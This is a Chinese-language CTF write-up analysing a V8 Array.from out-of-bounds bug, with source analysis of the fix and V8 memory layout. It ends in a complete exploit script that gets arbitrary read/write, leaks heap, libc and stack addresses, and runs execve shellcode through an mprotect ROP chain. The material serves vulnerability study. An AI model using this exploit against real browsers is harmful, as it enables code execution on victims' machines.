一直想要入门chrome漏洞挖掘,于是就打算从一道CTF题目入手(其实也是一个真实的漏洞),这篇文章记录了我的学习过程,是一个总结,也希望能帮到同样在入门的朋友。
调试环境
- Ubuntu16.04 x64
- pwndbg
v8调试环境搭建
- 这里主要参考了sakura师傅的教程
- 以及最重要的一点,挂代理,这里我使用的是
polipo
编译
首先进入题目所给出的链接,找到修复bug的commit。
然后可以找到包含漏洞的版本hash值和一个poc文件
然后通过parent的hash值回退到漏洞版本,并进行编译(debug模式)
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
relase模式编译
tools/dev/v8gen.py x64.relase
ninja -C out.gn/x64.relase d8
v8基础简介
分析与调试技巧
这里先简单介绍一下我学习过程中用到的调试方法。
-
%DebugPrint()
这是一个极其常用的函数,可以通过该函数打印出对象的详细信息,如内存地址、属性、map等。运行时使用参数--allow-natives-syntax
如:let arr = []; %DebugPrint(arr);
./d8 --allow-natives-syntax ./test.js
-
DebugBreak()
当分析v8源码时,遇到CodeStubAssembler
编写的代码,可以在其中插入DebugBreak();
,这相当于插入了一个断点(类似int 3
),重新编译后使用调试器调试时,可以在插入处断下。 -
Print()
同样,遇到CodeStubAssembler
编写的代码时,可以使用它来输出一些变量值,函数原型是void CodeStubAssembler::Print(const char* prefix, Node* tagged_value)
用法
//第二个参数是Node*型,可能需要强转 Print("array", static_cast<Node*>(array.value()));
重新编译后即可。
-
readline()
可以添加在js代码中,让程序停下来等待输入,方便使用gdb断下进行调试。该方法比写一个while死循环好在,让程序停下后,还可以让程序继续运行下去。 -
V8自带gdb调试命令
在/tools/目录下,可以找到gdbinit和gdb-v8-support.py。我将gdb-v8-support.py复制到了根目录下,然后修改自己的.gdbinit文件,将提供的gdbinit都复制过来。
就可以在gdb中使用v8自带调试命令了
具体命令可以在gdbinit中自己查阅,注释还是很友好的。我最常用的就是job。 -
polyfill
因为我没有系统学过js开发,不是太清楚ployfill在实际开发时的作用(似乎是用来补充一些浏览器缺少的api)。但是在学习v8的过程中对我有极大的帮助,在ployfill
中使用js自身实现了许多js的原生函数,这意味着,在调试js原生函数的时候可以通过查看polyfill
来了解函数实现细节。而且经过和v8中使用CodeStubAssembler
实现的原生函数,可以发现实现逻辑基本一致。
漏洞分析
POC分析
let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
oobArray[oobArray.length - 1] = 0x41414141;
运行该poc,触发crash(注意使用debug编译的d8)
简单的分析该poc
首先创建了一个数组oobArray
然后将function() { return oobArray }
作为this
参数传入Array.from.call
。
此处,我查阅了pollyfill中对Array.from
的实现(这里对Array.from的分析其实是在下文分析漏洞时进行的,但为了描述的方便,先写在此处)
因为这里Array.from.call
的this参数是一个函数,所以会调用var a = new c()
查询javascript中new关键字
的返回值可知,当使用new关键字调用一个函数时,若函数返回一个非原始变量(如像object、array或function),那么这些返回值将取代原本应该返回的this实例。
这意味着这里调用c()
会返回oobArray
,并且此后的操作都将直接修改oobArray
。
回到poc
中,在iterator
中可以看到,在最后一次迭代时,将oobArray
的长度修改为0
。
最后的赋值语句触发crash
通过poc可以猜测,可能是最后一次迭代时对oobArray.length
的赋值时出现了bug, 导致最后oobArray
实际长度与length的值
的不同,造成越界访问。
下面进行详细的分析。
源码分析
首先从diff
入手,看看如何修复的该漏洞
注意到这里只修改了GenerateSetLength
函数中的一个跳转语句,将LessThan
修改为NotEqual
,这说明极有可能是在length_smi > old_length
时的处理出现了问题。但仍需进一步分析。
CodeStubAssembler简介
这里分析将涉及到CodeStubAssembler代码,这里先简单介绍一下。
v8为了提高效率,采用了CodeStubAssembler来编写js的原生函数,它是是一个定制的,与平台无关的汇编程序,它提供低级原语作为汇编的精简抽象,但也提供了一个扩展的高级功能库。
这里我简单记录其中几个的语法,一些是我自己推测理解的,仅供参考。。
- TF_BUILTIN:创建一个函数
- Label:用于定义将要用到的标签名,这些标签名将作为跳转的目标
- BIND:用于绑定一个标签,作为跳转的目标
- Branch:条件跳转指令
- VARIABLE:定义一些变量
- Goto:跳转
漏洞代码逻辑
建议使用IDE之类来查看代码,方便搜索和跳转。
首先查看GenerateSetLength
函数
void GenerateSetLength(TNode<Context

context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
// 3) the new length is greater than or equal to the old length.
// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
// check for SMIs.
// TODO(delphick): Also we could hoist this to after the array construction
// and copy the args into array in the same way as the Array constructor.
BranchIfFastJSArray(array, context, &fast, &runtime);
BIND(&fast);
{
TNode<JSArray> fast_array = CAST(array);
TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
Goto(&done);
}
BIND(&runtime);
{
CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array),
CodeStubAssembler::LengthStringConstant(), length,
SmiConstant(LanguageMode::kStrict));
Goto(&done);
}
BIND(&done);
}
};
首先判断是否具有fast element,这里poc代码执行时会进入&fast
分支
随后若length_smi < old_length
,就跳转到&runtime
,否则执行StoreObjectFieldNoWriteBarrier
根据源码注释可以知道,&runtime
会进行内存的缩减
而分析StoreObjectFieldNoWriteBarrier
函数,这应该是一个赋值函数,将array
的length属性值
修改为length_smi
前面我们猜测是length_smi > old_length
时出现问题,通过这里的分析,漏洞根源似乎更明了了。
当length_smi > old_length
,程序不会执行&runtime
去进行缩减内存等操作,而是会直接修改length的值。那么可以猜测是将较大的length_smi
写入了数组的length
,导致数组的长度属性值大于了实际长度,造成了越界访问。
看到这里,感觉仍然没有完全分析透彻,不知道函数各个参数的具体来源都是什么,也不知道为什么length_smi
会大于old_length
。
于是尝试寻找调用该函数的上层函数,搜索后定位到了TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler)
,代码比较长,不过还是得慢慢看。
(之所以确定这个函数,是因为poc中确实正好调用了Array.from
)
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
...
TNode<JSReceiver> array_like = ToObject(context, items);
TVARIABLE(Object, array);
TVARIABLE(Number, length);
// Determine whether items[Symbol.iterator] is defined:
IteratorBuiltinsAssembler iterator_assembler(state());
Node* iterator_method =
iterator_assembler.GetIteratorMethod(context, array_like);
Branch(IsNullOrUndefined(iterator_method), ¬_iterable, &iterable);
// 如果可以迭代
BIND(&iterable);
{
...
// 返回一个数组,用于存储迭代后得到的结果
// Construct the output array with empty length.
array = ConstructArrayLike(context, args.GetReceiver());
...
Goto(&loop);
//开始迭代
BIND(&loop);
{
// 判断迭代是否结束
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));
...
// 将得到的结果存入array
// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);
// 索引加1
index = NumberInc(index.value());
...
Goto(&loop);
}
//迭代结束
BIND(&loop_done);
{
//将迭代次数赋值给length变量
length = index;
Goto(&finished);
}
...
}
...
BIND(&finished);
// 调用GenerateSetLength,将array和迭代次数作为参数
// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}
配合源码注释,可以基本了解函数流程。当然,这里还可以参考polyfill
中的实现。
在可以迭代的情况下,会使用ConstructArrayLike
返回一个数组array
,用于存储迭代输出的结果。配合前文分析的polyfill
中的实现,这里返回的数组就是oobArray
。
这里也可以通过输出调试信息来进行验证
然后会进入到BIND(&loop)
块,这应该就是在使用Symbol.iterator
在进行迭代,每次迭代所得到的值都会存入array
迭代结束后将进入&loop_done
,这里将index
赋值给了length
,也就是说length
中存储的是迭代次数
。
最后调用了我们已经分析过的GenerateSetLength
,三个参数分别是context
,用于存储结果的array
,迭代次数length
漏洞原理总结
结合前面GenerateSetLength
的分析,我们就可以得出整个array.from
的处理逻辑
当在Array.from
中迭代完成后调用了GenerateSetLength
在GenerateSetLength
中,若迭代次数小于array
的长度,意味着array
的长度大于了需求的长度,那么就需要对内存进行整理,释放多余的空间。
这里我的想法是,迭代时是按顺序依次遍历每个元素,那么
array
的前length_smi
个元素一定是被迭代访问过的且也是仅访问过的,后面多出的元素都不是迭代得到的,所以可以去掉。
然而开发者似乎忽略了传入的数组可以是初始数组本身的情况,从而认为数组长度应该不会小于迭代次数(因为每次迭代都会创建一个新的数组元素)
所以若数组是初始数组,那么我们就可以在迭代途中修改数组的长度。将正在迭代的数组长度缩小,那么就会导致数组多余的空间被释放,但是在GenerateSetLength
中,又将array.length
直接改写为较大的length_smi
(迭代次数),导致长度属性值大于实际长度,造成越界访问。
漏洞利用
V8内存模型
Tagged Value
在v8中,存在两种类型,一个是Smi((small integer),一个是指针类型。由于对齐,所以指针的最低位总是0,Tagged Value
就是利用了最低位来区别Smi和指针类型。当最低位为1时,表示这是一个指针,当最低位为0,那么这就是一个Smi。
- Smi
为了节约内存、加快运算速度等,实现了一个小整数类型,被称作Smi。
在32位环境中,Smi占据32位,其中最低位为标记位(为0),所以Smi只使用了31位来表示值。
在64位环境中,Smi占据64位,其中最低位为标记位(为0),但是只有高32位用于表示值,低32位都为0(包括标记位) - 指针
最低位为1,在访问时需要将最低位置回0
JsObject
在V8中,JavaScript对象初始结构如下所示
[ hiddenClass / map ] -> ... ; 指向Map
[ properties ] -> [empty array]
[ elements ] -> [empty array]
[ reserved #1 ] -\
[ reserved #2 ] |
[ reserved #3 ] }- in object properties,即预分配的内存空间
............... |
[ reserved #N ] -/
- Map中存储了一个对象的元信息,包括对象上属性的个数,对象的大小以及指向构造函数和原型的指针等等。同时,Map中保存了Js对象的属性信息,也就是各个属性在对象中存储的偏移。然后属性的值将根据不同的类型,放在properties、element以及预留空间中。
- properties指针,用于保存通过属性名作为索引的元素值,类似于字典类型
- elements指针,用于保存通过整数值作为索引的元素值,类似于常规数组
- reserved #n,为了提高访问速度,V8在对象中预分配了的一段内存区域,用来存放一些属性值(称为in-object属性),当向object中添加属性时,会先尝试将新属性放入这些预留的槽位。当in-onject槽位满后,V8才会尝试将新的属性放入properties中。
当然,这里的介绍十分简略,详细细节可以参考文末给出的一些参考链接
ArrayBuffer && TypedArray
- ArrayBuffer
ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。ArrayBuffer 不能直接操作,而是要通过“视图”进行操作。“视图”部署了数组接口,这意味着,可以用数组的方法操作内存。 - TypedArray
用来生成内存的视图,通过9个构造函数,可以生成9种数据格式的视图,比如Uint8Array(无符号8位整数)数组视图, Int16Array(16位整数)数组视图, Float64Array(64位浮点数)数组视图等等。
简单的说,ArrayBuffer就代表一段原始的二进制数据,而TypedArray代表了一个确定的数据类型,当TypedArray与ArrayBuffer关联,就可以通过特定的数据类型格式来访问内存空间。
这在我们的利用中十分重要,因为这意味着我们可以在一定程度上像C语言一样直接操作内存。
内存结构
在ArrayBuffer中存在一个BackingStore指针,这个指针指向的就是ArrayBuffer开辟的内存空间,可以使用TypedArray指定的类型读取和写入该区域,并且,这片内存区域是位于系统堆中的而不是属于GC管理的区域。
常见利用有:
- 可以如果修改ArrayBuffer中的Length,那么就能够造成越界访问。
- 如果能够修改BackingStore指针,那么就可以获得任意读写的能力了,这是非常常用的一个手段
- 可以通过BackingStore指针泄露堆地址,还可以在堆中布置shellcode。
JsFunction
在V8利用中,function也常常成为利用的一个目标。其内存结构如下:
其中,CodeEntry是一个指向JIT代码的指针(RWX区域),如果具有任意写能力,那么可以向JIT代码处写入自己的shellcode,实现任意代码执行。
但是,在v8 6.7版本之后,function的code不再可写,所以不能够直接修改jit代码了。本文漏洞将不采用修改jit代码的方法。
(注:内存布局图是根据sakura师傅的博客重画的,但是我调试后发现,貌似函数代码指针应该在kLiteralsOffset
的位置)
自制类型转换小工具
在v8利用中,不可避免的会读写内存。而读写内存就会使用到前文提到的ArrayBuffer && TypedArray
。在64位程序中,因为没有Uint64Array
,所以要读写8字节的内存单元只能使用Float64Array
(或者两个Uint32
),但是float类型存储为小数编码,所以为了方便读写,我们需要自己实现一个Uint64与Float64之间转换的小工具
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();
任意读写能力
根据前文对poc的分析,可以知道,我们能够构造出一个可以越界访问的数组(属性length值 > 实际长度)。
那么,如果可以在该数组后面内存中布置一些我们可控的对象,如ArrayBuffer,那么就可以通过修改BackingStore来实现任意读写了。
这里,我们还想要能够泄露任意对象的地址,可以在oobArray后布置一个普通js对象,只要将目标对象作为该对象的属性值(in-object属性),然后通过越界读取,就可以泄露出目标对象的地址了。
注意,利用过程需要使用release编译的文件。
var bufs = [];
var objs = [];
var oobArray = [1.1];
var maxSize = 1028 * 8;
Array.from.call(function() { return oobArray; }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
for (let i = 0;i < 100;i++) {
bufs.push(new ArrayBuffer(0x1234));
let obj = {'a': 0x4321, 'b': 0x9999};
objs.push(obj);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
)});
首先创建两个列表,bufs用于存储ArrayBuffer对象,objs用于存储普通Js对象
在最后一次迭代中,先将oobArray的长度缩减为1(不能为0,否则对象将被回收),然后创建100个ArrayBuffer对象和普通js对象,我们希望创建的这些对象能够有一个落在oobArray所在内存后方,能够通过越界访问控制。
然后我们就需要通过越界访问,对内存进行搜索,判断是否有我们创建的可控对象。
其中ArrayBuffer是通过搜索其length值0x1234(在内存中Smi表示为0x123400000000)来定位
普通js对象通过搜索其'a'属性的值0x4321(在内存中Smi表示为0x432100000000)来定位
// 可控的buf在oobArray的第i个元素处
let buf_offset = 0;
for(let i = 0; i < maxSize; i++){
let val = mem.d2u(oobArray[i]);
if(val === 0x123400000000){
console.log("buf_offset: " + i.toString());
buf_offset = i;
oobArray[i] = mem.u2d(0x121200000000); //修改可控buf的length,做个标记
oobArray[i + 3] = mem.u2d(0x1212); //有两处保存了length值
break;
}
}
// 可控的obj在oobArray的第i个元素处
let obj_offset = 0
for(let i = 0; i < maxSize; i++){
let val = mem.d2u(oobArray[i]);
if(val === 0x432100000000){
console.log("obj_offset: " + i.toString());
obj_offset = i;
oobArray[i] = mem.u2d(0x567800000000); //修改可控obj的属性a,做个标记
break;
}
}
// bufs中的第i个buf是可控的
let controllable_buf_idx = 0;
for(let i = 0; i < bufs.length; i++){
let val = bufs[i].byteLength;
if(val === 0x1212){ //查找被修改了length的buf
console.log("found controllable buf at idx " + i.toString());
controllable_buf_idx = i;
break;
}
}
// objs中第i个obj是可控的
let controllable_obj_idx = 0;
for(let i = 0; i < objs.length; i++){
let val = objs[i].a;
if(val === 0x5678){ //查找属性a被修改了的obj
console.log("found controllable obj at idx " + i.toString());
controllable_obj_idx = i;
break;
}
}
这样我们就成功获得了一个可控的ArrayBuffer和一个JS对象,然后就可以写一个小工具来方便我们的任意读写了。
class arbitraryRW{
constructor(buf_offset, buf_idx, obj_offset, obj_idx){
this.buf_offset = buf_offset;
this.buf_idx = buf_idx;
this.obj_offset = obj_offset;
this.obj_idx = obj_idx;
}
leak_obj(obj){
objs[this.obj_idx].a = obj; //修改obj.a的值为目标对象
return mem.d2u(oobArray[this.obj_offset]) - 1; //读出属性a的值,因为oobArray是以double的格式读出,所以需要转换为Uint64
}
read(addr){
let idx = this.buf_offset;
oobArray[idx + 1] = mem.u2d(addr); //修改BackingStore指针指向目标地址
oobArray[idx + 2] = mem.u2d(addr); //修改BitField指针指向目标地址(因为调试发现该值总和BackingStore相同)
let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
return mem.d2u(tmp[0]);
}
write(addr, val){
let idx = this.buf_offset;
oobArray[idx + 1] = mem.u2d(addr);
oobArray[idx + 2] = mem.u2d(addr);
let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
tmp.set([mem.u2d(val)]); //将欲存储的Uint64值转为double形式写入
}
}
var arw = new arbitraryRW(buf_offset, controllable_buf_idx, obj_offset, controllable_obj_idx);
信息泄露
在拥有了任意读写的能力后,其实已经可以通过改写函数jit代码来实现任意代码执行了。
但是我在编译完v8后发现,该版本为6.7,恰好是已经不能够修改jit代码的版本了,所以还得使用其他办法(ROP)
泄露堆地址
我们知道,BackingStore指针指向的就是系统堆的地址,只需要通过越界读取ArrayBuffer就能泄露出来
var heap_addr = mem.d2u(oobArray[buf_offset + 1]) - 0x10
console.log("heap_addr: 0x" + heap_addr.toString(16));
泄露libc基址
关于泄露libc的办法,我没有在网上搜到比较详细的方法(没有看懂Sakura师傅的方法)
所以我采用了一个比较暴力的办法—————搜索堆内存。
因为ctf pwn的经验,我知道在堆内存中一定存在某个堆块的fd或者bk指向libc中的地址。所以我尝试通过堆块的size和prevsize遍历堆中的chunk,搜索libc地址。
这里我认为在fd或者bk位置上的数值,只要是0x7f开头的,一定是libc中的&main_arena+88
。
同时,又因为libc基址是12位对齐的,所以将搜索到的地址减去固定偏移0x3c4000
(根据libc版本而定),即可获得基址
let curr_chunk = heap_addr;
let searched = 0;
for(let i = 0; i < 0x5000; i++){
let size = arw.read(curr_chunk + 0x8);
let prev_size = arw.read(curr_chunk);
if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0){
let tmp_ptr = curr_chunk - prev_size;
let fd = arw.read(tmp_ptr + 0x10);
let bk = arw.read(tmp_ptr + 0x18)
if(parseInt(fd / 0x10000000000) === 0x7f){
searched = fd;
break;
}else if(parseInt(bk / 0x10000000000) === 0x7f){
searched = bk;
break;
}
} else if(size < 0x20) {
break;
}
size = parseInt(size / 8) * 8
curr_chunk += size;
}
if(searched !== 0){
var libc_base = parseInt((searched - 0x3c4000) / 0x1000) * 0x1000;
console.log("searched libc_base: 0x" + libc_base.toString(16));
} else {
console.log("Not found")
}
这里我是以事先泄露的堆地址为起点进行搜索的,所以平均情况下,实际只搜索了一半的堆内存,有一定几率没有结果。
泄露栈地址
泄露栈地址的原因在后文会进行解释。
在libc中存在一个全局变量叫做environ,是一个指向环境变量的指针,而环境变量恰好是存储在栈上高地址的,所以可以通过这个指针泄露出栈的地址。
let environ_addr = libc_base + 0x3C6F38;
let stack_addr = arw.read(environ_addr);
console.log("stack_addr: 0x" + stack_addr.toString(16));
注意,在使用栈地址时要适当的减一些,不要修改到了高地址的环境变量,否则容易abort。
布置shellcode
在成功泄露出libc基址之后,如果按照ctf中getshell的思路,其实已经可以通过将malloc_hook修改为one_gadget实现getshell。
但是,这里我们想要获得的是任意代码执行,所以还是得通过shellcode的方案。
let sc = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
let shellcode = new Uint8Array(2048);
for(let i = 0; i < sc.length; i++){
shellcode[i] = sc[i];
}
let shell_addr = arw.read(arw.leak_obj(shellcode) + 0x68);
console.log("shell_addr: 0x" + shell_addr.toString(16));
这里我将shellcode全部写入了一个ArrayBuffer中,然后泄露出了shellcode的地址
ROP
布置完成shellcode之后,我们需要通过rop来修改shellcode所在内存执行权限。
首先构造出我们的rop链
let pop_rdi = 0x0000000000021102 + libc_base;
let pop_rsi = 0x00000000000202e8 + libc_base;
let pop_rdx = 0x0000000000001b92 + libc_base;
let mprotect = 0x0000000000101770 +libc_base;
let rop = [
pop_rdi,
parseInt(shell_addr / 0x1000) * 0x1000, //shellcode的地址,需要对齐
pop_rsi,
4096,
pop_rdx,
7,
mprotect, //调用mprotect修改内存权限
shell_addr //返回地址为shellcode
];
构造好rop链之后,就要考虑如何劫持程序流程到rop链上了。
前文我们成功泄露出了栈地址,这里我们将采用一个技巧(和堆喷类似,我叫它栈喷2333)。
因为我们获得的栈地址几乎可以说是栈最高的地址,所以我们可以在栈上地址由高到低连续布置retn,这样一旦程序的某个返回地址被我们的retn覆盖,那么程序就会不断的retn下去。
只要我们在最高地址处布置上我们的rop链,那么程序在经过一段retn之后,就会来到我们的rop链上了。
代码如下:
let retn = 0x000000000007EF0D + libc_base;
let rop_start = stack_addr - 8 * (rop.length + 1); //先将栈提高,以免修改到了环境变量
for (let i = 0; i < rop.length; i++) {
arw.write(rop_start + 8 * i, rop[i]); //在高地址布置上我们的shellcode
}
for (let i = 0; i < 0x100; i++) { //不断向低地址写retn
rop_start -= 8;
arw.write(rop_start, retn);
}
print("done");
这里写入了0x100个retn是实验出来的,值太大或太小都不能成功。
完整利用
EXP
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();
var bufs = [];
var objs = [];
var oobArray = [1.1];
var maxSize = 1028 * 8;
Array.from.call(function() { return oobArray; }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
for (let i = 0;i < 100;i++) {
bufs.push(new ArrayBuffer(0x1234));
let obj = {'a': 0x4321, 'b': 0x9999};
objs.push(obj);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
)});
function test() {} //没什么用,但是去掉后栈的位置会迷之提高(地址偏低),导致后面布置ROP失败
for (let i = 0;i < 1000;i++) {
test();
}
// 可控的buf在oobArray的第i个元素处
let buf_offset = 0;
for(let i = 0; i < maxSize; i++){
let val = mem.d2u(oobArray[i]);
if(val === 0x123400000000){
console.log("buf_offset: " + i.toString());
buf_offset = i;
oobArray[i] = mem.u2d(0x121200000000); //修改可控buf的size,做个标记
oobArray[i + 3] = mem.u2d(0x1212);
break;
}
}
// 可控的obj在oobArray的第i个元素处
let obj_offset = 0
for(let i = 0; i < maxSize; i++){
let val = mem.d2u(oobArray[i]);
if(val === 0x432100000000){
console.log("obj_offset: " + i.toString());
obj_offset = i;
oobArray[i] = mem.u2d(0x567800000000); //修改可控obj的属性a,做个标记
break;
}
}
// bufs中的第i个buf是可控的
let controllable_buf_idx = 0;
for(let i = 0; i < bufs.length; i++){
let val = bufs[i].byteLength;
if(val === 0x1212){
console.log("found controllable buf at idx " + i.toString());
controllable_buf_idx = i;
break;
}
}
// objs中第i个obj是可控的
let controllable_obj_idx = 0;
for(let i = 0; i < objs.length; i++){
let val = objs[i].a;
if(val === 0x5678){
console.log("found controllable obj at idx " + i.toString());
controllable_obj_idx = i;
break;
}
}
var heap_addr = mem.d2u(oobArray[buf_offset + 1]) - 0x10
console.log("heap_addr: 0x" + heap_addr.toString(16));
class arbitraryRW{
constructor(buf_offset, buf_idx, obj_offset, obj_idx){
this.buf_offset = buf_offset;
this.buf_idx = buf_idx;
this.obj_offset = obj_offset;
this.obj_idx = obj_idx;
}
leak_obj(obj){
objs[this.obj_idx].a = obj;
return mem.d2u(oobArray[this.obj_offset]) - 1;
}
read(addr){
let idx = this.buf_offset;
oobArray[idx + 1] = mem.u2d(addr);
oobArray[idx + 2] = mem.u2d(addr);
let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
return mem.d2u(tmp[0]);
}
write(addr, val){
let idx = this.buf_offset;
oobArray[idx + 1] = mem.u2d(addr);
oobArray[idx + 2] = mem.u2d(addr);
let tmp = new Float64Array(bufs[this.buf_idx], 0, 0x10);
tmp.set([mem.u2d(val)]);
}
}
var arw = new arbitraryRW(buf_offset, controllable_buf_idx, obj_offset, controllable_obj_idx);
let curr_chunk = heap_addr;
let searched = 0;
for(let i = 0; i < 0x5000; i++){
let size = arw.read(curr_chunk + 0x8);
let prev_size = arw.read(curr_chunk);
if(size !== 0 && size % 2 === 0 && prev_size <= 0x3f0){
let tmp_ptr = curr_chunk - prev_size;
let fd = arw.read(tmp_ptr + 0x10);
let bk = arw.read(tmp_ptr + 0x18)
if(parseInt(fd / 0x10000000000) === 0x7f){
searched = fd;
break;
}else if(parseInt(bk / 0x10000000000) === 0x7f){
searched = bk;
break;
}
} else if(size < 0x20) {
break;
}
size = parseInt(size / 8) * 8
curr_chunk += size;
}
if(searched !== 0){
var libc_base = parseInt((searched - 0x3c4000) / 0x1000) * 0x1000;
console.log("searched libc_base: 0x" + libc_base.toString(16));
} else {
console.log("Not found")
}
/*
//修改malloc_hook实现getshell
malloc_hook = 0x3c4b10 + libc_base;
one_gadet = 0x4526a + libc_base;
arw.write(malloc_hook, [mem.u2d(one_gadet)]);
*/
let environ_addr = libc_base + 0x3C6F38;
let stack_addr = arw.read(environ_addr);
console.log("stack_addr: 0x" + stack_addr.toString(16));
let sc = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
let shellcode = new Uint8Array(2048);
for(let i = 0; i < sc.length; i++){
shellcode[i] = sc[i];
}
let shell_addr = arw.read(arw.leak_obj(shellcode) + 0x68);
console.log("shell_addr: 0x" + shell_addr.toString(16));
let retn = 0x000000000007EF0D + libc_base;
let pop_rdi = 0x0000000000021102 + libc_base;
let pop_rsi = 0x00000000000202e8 + libc_base;
let pop_rdx = 0x0000000000001b92 + libc_base;
let mprotect = 0x0000000000101770 +libc_base;
let rop = [
pop_rdi,
parseInt(shell_addr / 0x1000) * 0x1000,
pop_rsi,
4096,
pop_rdx,
7,
mprotect,
shell_addr
];
let rop_start = stack_addr - 8 * (rop.length + 1);
for (let i = 0; i < rop.length; i++) {
arw.write(rop_start + 8 * i, rop[i]);
}
for (let i = 0; i < 0x100; i++) {
rop_start -= 8;
arw.write(rop_start, retn);
}
print("done");
总结
虽然写完了exp,但是还是有一个玄学问题没有解决,在exp中必须要添加一个没什么用的函数并jit优化它,然后才能成功getshell。如果将它去掉,那么在最后"栈喷"的时候,程序的rsp距离我们泄露的栈地址贼远,没办法喷过去2333,调了很久也没弄清楚原因,希望有大佬知道的话能够告知一下。
(萌新刚入门,文章如果有错误请师傅们谅解,如果发现我一定更正。